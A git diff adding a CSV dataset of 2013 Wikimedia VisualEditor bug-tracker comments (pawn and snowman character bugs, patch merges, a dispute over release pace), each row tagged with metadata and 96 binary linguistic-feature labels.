diff --git a/p2/quest/071425_neurobiber_labels.csv b/p2/quest/071425_neurobiber_labels.csv
new file mode 100644
index 0000000..e7f87f8
--- /dev/null
+++ b/p2/quest/071425_neurobiber_labels.csv
@@ -0,0 +1,151688 @@
+id,task_title,comment_text,priority,priority_score,date_created,date_closed,AuthorPHID,AuthorWMFAffil,CloserPHID,CloserWMFAffil,TaskPHID,comment_type,status,time_flag,source,phase,author_closer,same_author,closed_relevance,week_index,http_flag,neurobiber_1,neurobiber_2,neurobiber_3,neurobiber_4,neurobiber_5,neurobiber_6,neurobiber_7,neurobiber_8,neurobiber_9,neurobiber_10,neurobiber_11,neurobiber_12,neurobiber_13,neurobiber_14,neurobiber_15,neurobiber_16,neurobiber_17,neurobiber_18,neurobiber_19,neurobiber_20,neurobiber_21,neurobiber_22,neurobiber_23,neurobiber_24,neurobiber_25,neurobiber_26,neurobiber_27,neurobiber_28,neurobiber_29,neurobiber_30,neurobiber_31,neurobiber_32,neurobiber_33,neurobiber_34,neurobiber_35,neurobiber_36,neurobiber_37,neurobiber_38,neurobiber_39,neurobiber_40,neurobiber_41,neurobiber_42,neurobiber_43,neurobiber_44,neurobiber_45,neurobiber_46,neurobiber_47,neurobiber_48,neurobiber_49,neurobiber_50,neurobiber_51,neurobiber_52,neurobiber_53,neurobiber_54,neurobiber_55,neurobiber_56,neurobiber_57,neurobiber_58,neurobiber_59,neurobiber_60,neurobiber_61,neurobiber_62,neurobiber_63,neurobiber_64,neurobiber_65,neurobiber_66,neurobiber_67,neurobiber_68,neurobiber_69,neurobiber_70,neurobiber_71,neurobiber_72,neurobiber_73,neurobiber_74,neurobiber_75,neurobiber_76,neurobiber_77,neurobiber_78,neurobiber_79,neurobiber_80,neurobiber_81,neurobiber_82,neurobiber_83,neurobiber_84,neurobiber_85,neurobiber_86,neurobiber_87,neurobiber_88,neurobiber_89,neurobiber_90,neurobiber_91,neurobiber_92,neurobiber_93,neurobiber_94,neurobiber_95,neurobiber_96
+56791,VisualEditor: Editing at top of page shows pawn/slug character,"pawn character editing
+
+seen on master branch (beta labs) as of 30 September. 
+
+open a page on beta labs in VE
+
+begin editing at default location or top-left beginning of page
+
+pawn character appears upon entering text
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+
+**Attached**: {F12377}",Unbreak Now!,100.0,1380558180,1380559585.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-mvlnrj6updlhvfhvduhk,task_description,resolved,True,c1,3,False,False,True,13,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+269631,VisualEditor: Editing at top of page shows pawn/slug character,"Change 86685 merged by jenkins-bot:
+Follow-up to 9b999622: don't slug paragraphs that contain just a text node
+
+https://gerrit.wikimedia.org/r/86685",,,1380559572,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mvlnrj6updlhvfhvduhk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+269628,VisualEditor: Editing at top of page shows pawn/slug character,*** Bug 54785 has been marked as a duplicate of this bug. ***,,,1380559441,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mvlnrj6updlhvfhvduhk,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+269622,VisualEditor: Editing at top of page shows pawn/slug character,"Change 86685 had a related patch set uploaded by Catrope:
+Follow-up to 9b999622: don't slug paragraphs that contain just a text node
+
+https://gerrit.wikimedia.org/r/86685",,,1380558906,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mvlnrj6updlhvfhvduhk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+56737,Don't release any new VE updates for three months,"**Author:** `Wikifram`
+
+**Description:**
+After the failure of VE (e.g. witness the opt-in at the three largest wikipedia versions), the WMF now comes with MW 1.22wmf19, which creates more errors than it solves for VE, as could be predicted by anyone remotely busy with VE. I have documented some problems I found with minimal testing, there are probably a lot more. The version doesn't do what the release notes claim (e.g. reflists can't be moved, not that they often need moving anyway; many templates can't be moved either), and doesn't solve the major problems that existed with the one thing that could somewhat be dragged, images. 
+
+Multiplying known problems instead of solving them, when there are plenty of major problems which have turned away most of your user- and testbase, is simply stupid. 
+
+No one is waiting for weekly updates (certainly not of this ""quality""). Please, PLEASE, stop it; get back to the bug list, solve the 50 most urgent ones, ''test them thoroughly yourselves"", and then come to us, present the improvements, and ''ask'' us whether we want to implement and test them.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Unbreak Now!,100.0,1380383040,1380394985.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-gwdd3z7hkhviwmwe5a2j,task_description,invalid,True,c1,3,False,False,True,12,,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,0,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0
+266589,Don't release any new VE updates for three months,"**Wikifram** wrote:
+
+Allright, thanks to both for the reply.",,,1380707473,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gwdd3z7hkhviwmwe5a2j,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+266583,Don't release any new VE updates for three months,"(In reply to comment #4)
+> Is that an official policy or wishful thinking?
+
+VE product manager James Forrester told to Tech Ambassadors at 
+See also http://lists.wikimedia.org/pipermail/wikitech-ambassadors/2013-September/000416.html
+
+""However, if there is community consensus that your wiki does not want it
+yet or is not ready, it can of course be reversed to ""opt-in"" - just file a
+Bugzilla request or contact your local community liaison.""",,,1380637726,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-gwdd3z7hkhviwmwe5a2j,task_subcomment,,True,c1,3,False,,,13,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,0,0,0,1
+266576,Don't release any new VE updates for three months,"(In reply to comment #4)
+> MZMcBride, is that an official policy or wishful thinking? I can't an
+> official statement that declares that the opt-in is now an automatic right of
+> all Wikipedias if they want it.
+
+How official would you like the statement to be? I've declared this both on Bugzilla and on-wiki (on the English Wikipedia).
+
+Is there any Wikimedia wiki community having trouble getting VisualEditor switched from opt-out to opt-in?",,,1380583797,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gwdd3z7hkhviwmwe5a2j,task_subcomment,,True,c1,3,False,,,13,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+266571,Don't release any new VE updates for three months,"**Wikifram** wrote:
+
+MZMcBride, is that an official policy or wishful thinking? I can't an official statement that declares that the opt-in is now an automatic right of all Wikipedias if they want it.",,,1380525615,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gwdd3z7hkhviwmwe5a2j,task_subcomment,,True,c1,3,False,,,13,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+266567,Don't release any new VE updates for three months,"**Wikifram** wrote:
+
+While it is an improvement that the wikis can request an opt-in, I'm not interested in that. You (WMF) are pushing untested, deficient software to us, making things even worse when tempers are already running high; we don't have the means to stop your releases apparently (or if we did stop them, some people would again get very upset probably). I'll try to find a better location for this, but this is not about the policy, this is about the VE being one major bug that shouldn't be released at all until it is seriously improved.",,,1380525374,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gwdd3z7hkhviwmwe5a2j,task_subcomment,,True,c1,3,False,,,13,,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+266563,Don't release any new VE updates for three months,"I agree with Andre here.
+
+Though I'll also point out that, while it's a little less than ideal, any Wikimedia wiki that currently has opt-out VisualEditor deployed can request that VisualEditor be switched to opt-in mode (similar to the setup on the German and English Wikipedias) by establishing a local community consensus. For further info, users should consult [[m:Requesting wiki configuration changes]].",,,1380395466,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gwdd3z7hkhviwmwe5a2j,task_subcomment,,True,c1,3,False,,,12,,1,0,0,1,0,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+266557,Don't release any new VE updates for three months,"Discussing deployment policies is nothing that should happen in a technical bugtracker (however once a discussion *has* taken place in a better suited place, the request for changing the configuration based on that consensus can be filed as a ticket in Bugzilla).
+Please take this discussion to the talk page or to the mailing list instead to *discuss* this request first, as statements here seem to be rather subjective (which does not necessarily mean ""wrong"" though).
+Thanks for your understanding.",,,1380394985,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gwdd3z7hkhviwmwe5a2j,task_subcomment,,True,c1,3,True,,,12,,0,0,0,1,1,1,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+56712,VisualEditor: Snowmen appear near newly added references,"See last line of this diff: https://fr.wikipedia.org/w/index.php?title=T%C3%A9l%C3%A9com_SudParis&diff=next&oldid=97023702 .
+
+Steps to reproduce, as provided by user: Seudo.
+
+1) Go to https://fr.wikipedia.org/wiki/Cumul_des_mandats_en_France - you don't need to save later
+2) Click on Modifier 
+3) Place the cursor after the words « exercice simultané de mandats » (5th line, I think)
+4) Click ""Plus->Référence""
+5) Write something in the dialog, i.e. ""toto.""
+6) Save the reference
+7) Click at the left or at the right of the newly added reference
+8) Watch pawns multiplyin' as you keep clicking.
+Suedo adds that in his console Web he also got a Javascript error, TypeError: group.firstNodes[index2] is undefined (load.php:54) .
+
+I was able to reproduce this as well, but only with FF (exactly like Seudo), only in the actual article - not in my sandbox - and only clicking at the left of the word. The user reports instead that this might happen at any point in the page.
+
+My edits in the sandbox could not reproduce the issue but generated https://bugzilla.wikimedia.org/show_bug.cgi?id=54341 instead.
+
+Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54976",Unbreak Now!,100.0,1380298800,1406341511.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_description,resolved,True,c1,3,False,False,False,12,,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+264896,VisualEditor: Snowmen appear near newly added references,"(In reply to Elitre from comment #22)
+> More examples from it.wp:
+> https://it.wikipedia.org/w/index.
+> php?title=Natale_Ciravolo&diff=67212907&oldid=67197341 ,
+> https://it.wikipedia.org/w/index.php?title=Utente:Nnvu/
+> Sandbox1&diff=prev&oldid=67108020 .
+
+This is bug 67992 I think.",,,1406341511,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,True,,,55,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1
+264891,VisualEditor: Snowmen appear near newly added references,"More examples from it.wp: https://it.wikipedia.org/w/index.php?title=Natale_Ciravolo&diff=67212907&oldid=67197341 , https://it.wikipedia.org/w/index.php?title=Utente:Nnvu/Sandbox1&diff=prev&oldid=67108020 .",,,1406307637,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,55,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1
+264886,VisualEditor: Snowmen appear near newly added references,"I believe this is happening again at it.wp.
+See https://it.wikipedia.org/w/index.php?title=AA.VV.&diff=prev&oldid=67188720 (snowmen) or https://it.wikipedia.org/w/index.php?title=Utente:Elitre_(WMF)/Pagina_delle_prove_VE&diff=next&oldid=67195802 (pawn).
+What you need to reproduce: just create a base reference, add the template Cita, add something as its first parameter, then hit Space/type something else in the reference before saving.",,,1406146981,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,55,,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+264881,VisualEditor: Snowmen appear near newly added references,"Um, folks, this may be happening again... please see bug:61272...",,,1392229880,,PHID-USER-brn4v5ta45bnw4f5as3h,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,32,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0
+264877,VisualEditor: Snowmen appear near newly added references,*** Bug 54976 has been marked as a duplicate of this bug. ***,,,1380936671,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+264873,VisualEditor: Snowmen appear near newly added references,"(In reply to comment #12)
+> Change 87455 had a related patch set uploaded by Catrope:
+> When cloning the InternalList, pass through properties that aren't rebuilt
+> 
+> https://gerrit.wikimedia.org/r/87455
+
+I just deployed this change, and the article linked in comment 0 now works for me on frwiki.",,,1380843132,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+264869,VisualEditor: Snowmen appear near newly added references,"Change 87459 merged by jenkins-bot:
+When cloning the InternalList, pass through properties that aren't rebuilt
+
+https://gerrit.wikimedia.org/r/87459",,,1380842062,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+264863,VisualEditor: Snowmen appear near newly added references,"Change 87458 merged by jenkins-bot:
+When cloning the InternalList, pass through properties that aren't rebuilt
+
+https://gerrit.wikimedia.org/r/87458",,,1380842006,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+264855,VisualEditor: Snowmen appear near newly added references,"Change 87455 merged by jenkins-bot:
+When cloning the InternalList, pass through properties that aren't rebuilt
+
+https://gerrit.wikimedia.org/r/87455",,,1380837106,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+264849,VisualEditor: Snowmen appear near newly added references,"Change 87459 had a related patch set uploaded by Jforrester:
+When cloning the InternalList, pass through properties that aren't rebuilt
+
+https://gerrit.wikimedia.org/r/87459",,,1380837082,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+264844,VisualEditor: Snowmen appear near newly added references,"Change 87458 had a related patch set uploaded by Jforrester:
+When cloning the InternalList, pass through properties that aren't rebuilt
+
+https://gerrit.wikimedia.org/r/87458",,,1380837069,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+264837,VisualEditor: Snowmen appear near newly added references,"Change 87455 had a related patch set uploaded by Catrope:
+When cloning the InternalList, pass through properties that aren't rebuilt
+
+https://gerrit.wikimedia.org/r/87455",,,1380836809,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+264833,VisualEditor: Snowmen appear near newly added references,*** Bug 54917 has been marked as a duplicate of this bug. ***,,,1380835733,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+264828,VisualEditor: Snowmen appear near newly added references,I was able to reproduce this on that frwiki article just now. I get the same error about group.firstNodes[group2] being undefined. Investigating further.,,,1380832805,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+264823,VisualEditor: Snowmen appear near newly added references,Being able to add references without corrupting the article is a core requirement. Updating the severity to critical.,,,1380832424,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+264817,VisualEditor: Snowmen appear near newly added references,"Same for me too, it appears literally impossible to add a reference without snowmen and a bogus reference tag (FF 24.0, Windows 7):
+
+https://en.wikipedia.org/w/index.php?title=X_Window_System&diff=575630218&oldid=575623976",,,1380831976,,PHID-USER-gfaq55vdypjmzz6nl2kn,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0
+264811,VisualEditor: Snowmen appear near newly added references,"Could this please have a priority assigned? Other editors are finding it a blocker to editing with references:
+
+This bug is really annoying! Every time I add a new reference I can't do anything after it because whatever I click on my keyboard the snowmen appear! Even clicking backspace to delete them multiplies them along with already existing text! Only way to get out of there is to cancel my edit and lose the work I've done! :/ Basically, VE can't be used almost at all at this point, since every addition to an article has to have a reference too! Is there any information about when this bug will get fixed? TeamGale 04:35, 3 October 2013 (UTC)",,,1380789059,,PHID-USER-gfaq55vdypjmzz6nl2kn,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,1,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,1,1,1,0,1,0,0,0,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0
+264806,VisualEditor: Snowmen appear near newly added references,"My edit above to [[OpenOffice.org]] was in Firefox 24.0, Ubuntu 12.04 distro version.",,,1380644594,,PHID-USER-gfaq55vdypjmzz6nl2kn,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+264801,VisualEditor: Snowmen appear near newly added references,"An instance of this from en.wp. David Gerard reports:
+
+Dig this: https://en.wikipedia.org/w/index.php?title=OpenOffice.org&diff=575290819&oldid=575267859
+What I was trying to do was add PladaoOffice and a reference link, which appeared to add correctly in the VE. Then I noticed there was a full stop after ""SunShine Office"", so I clicked on it to put the cursor there, and VE added a pile of ""☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃"", and more each time I clicked again. Note also that my carefully constructed reference is gone, leaving only ""<ref name="":0"" />"", and it's added another spurious one of those higher up",,,1380643572,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,1,0,0,1,0,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+264796,VisualEditor: Snowmen appear near newly added references,"Please replace the word ""pawns"" with ""snowmen"". Sorry for the confusion.",,,1380643247,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-qzxqmy2qhwcdfwstvjhk,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0
+264791,VisualEditor: Snowmen appear near newly added references,"**seudeau** wrote:
+
+That looks like 
